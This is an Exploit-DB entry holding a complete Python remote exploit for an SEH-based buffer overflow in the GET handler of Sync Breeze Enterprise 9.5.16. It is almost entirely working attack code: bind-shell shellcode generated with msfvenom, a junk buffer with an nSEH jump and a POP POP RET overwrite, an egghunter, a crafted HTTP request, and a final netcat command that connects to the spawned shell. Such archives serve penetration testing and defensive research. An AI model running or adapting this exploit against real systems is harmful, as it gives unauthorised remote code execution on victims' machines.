Sync Breeze Enterprise 9.5.16 - 'GET' Buffer Overflow (SEH)

EDB-ID: 41775
Author: Daniel Teixeira
Published: 2017-03-29
CVE: N/A
Type: Remote
Platform: Windows
Vulnerable App: Download Vulnerable Application

  
# Exploit Title: Sync Breeze Enterprise v9.5.16 - Remote buffer overflow (SEH)
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Vendor Homepage: http://syncbreeze.com
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.5.16.exe
# Version: 9.5.16
# Tested on: Windows 7 SP1 x86

import socket,os,time,struct

host = "192.168.2.186"
port = 80

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -b "\x00\x09\x0a\x0d\x20" -f python
shellcode = ""
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\x5e\xbf\xb0\x9b\x0e\xf2\x33"
shellcode += "\xc9\xb1\x53\x31\x7e\x17\x83\xee\xfc\x03\xce\x88\xec"
shellcode += "\x07\xd2\x47\x72\xe7\x2a\x98\x13\x61\xcf\xa9\x13\x15"
shellcode += "\x84\x9a\xa3\x5d\xc8\x16\x4f\x33\xf8\xad\x3d\x9c\x0f"
shellcode += "\x05\x8b\xfa\x3e\x96\xa0\x3f\x21\x14\xbb\x13\x81\x25"
shellcode += "\x74\x66\xc0\x62\x69\x8b\x90\x3b\xe5\x3e\x04\x4f\xb3"
shellcode += "\x82\xaf\x03\x55\x83\x4c\xd3\x54\xa2\xc3\x6f\x0f\x64"
shellcode += "\xe2\xbc\x3b\x2d\xfc\xa1\x06\xe7\x77\x11\xfc\xf6\x51"
shellcode += "\x6b\xfd\x55\x9c\x43\x0c\xa7\xd9\x64\xef\xd2\x13\x97"
shellcode += "\x92\xe4\xe0\xe5\x48\x60\xf2\x4e\x1a\xd2\xde\x6f\xcf"
shellcode += "\x85\x95\x7c\xa4\xc2\xf1\x60\x3b\x06\x8a\x9d\xb0\xa9"
shellcode += "\x5c\x14\x82\x8d\x78\x7c\x50\xaf\xd9\xd8\x37\xd0\x39"
shellcode += "\x83\xe8\x74\x32\x2e\xfc\x04\x19\x27\x31\x25\xa1\xb7"
shellcode += "\x5d\x3e\xd2\x85\xc2\x94\x7c\xa6\x8b\x32\x7b\xc9\xa1"
shellcode += "\x83\x13\x34\x4a\xf4\x3a\xf3\x1e\xa4\x54\xd2\x1e\x2f"
shellcode += "\xa4\xdb\xca\xda\xac\x7a\xa5\xf8\x51\x3c\x15\xbd\xf9"
shellcode += "\xd5\x7f\x32\x26\xc5\x7f\x98\x4f\x6e\x82\x23\x7e\x33"
shellcode += "\x0b\xc5\xea\xdb\x5d\x5d\x82\x19\xba\x56\x35\x61\xe8"
shellcode += "\xce\xd1\x2a\xfa\xc9\xde\xaa\x28\x7e\x48\x21\x3f\xba"
shellcode += "\x69\x36\x6a\xea\xfe\xa1\xe0\x7b\x4d\x53\xf4\x51\x25"
shellcode += "\xf0\x67\x3e\xb5\x7f\x94\xe9\xe2\x28\x6a\xe0\x66\xc5"
shellcode += "\xd5\x5a\x94\x14\x83\xa5\x1c\xc3\x70\x2b\x9d\x86\xcd"
shellcode += "\x0f\x8d\x5e\xcd\x0b\xf9\x0e\x98\xc5\x57\xe9\x72\xa4"
shellcode += "\x01\xa3\x29\x6e\xc5\x32\x02\xb1\x93\x3a\x4f\x47\x7b"
shellcode += "\x8a\x26\x1e\x84\x23\xaf\x96\xfd\x59\x4f\x58\xd4\xd9"
shellcode += "\x7f\x13\x74\x4b\xe8\xfa\xed\xc9\x75\xfd\xd8\x0e\x80"
shellcode += "\x7e\xe8\xee\x77\x9e\x99\xeb\x3c\x18\x72\x86\x2d\xcd"
shellcode += "\x74\x35\x4d\xc4"

#Buffer overflow
junk = "A" * 2487

#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x100160ae)

#Generated by mona.py v2.0, rev 568 - Immunity Debugger
egg = "w00tw00t"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

#NOPS
nops = "\x90"

#Payload
payload = junk + nSEH + SEH + egghunter + nops * 10 + egg + shellcode + nops * (6000 - len(junk) - len(nSEH) - len(SEH) - len(egghunter) - 10 - len(egg) - len(shellcode))

#HTTP Request
request = "GET /" + payload + "HTTP/1.1" + "\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Connection: keep-alive" + "\r\n\r\n"

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((host,port))
socket.send(request)
socket.close()

print "Waiting for shell..."
time.sleep(5)
os.system("nc " + host + " 4444")

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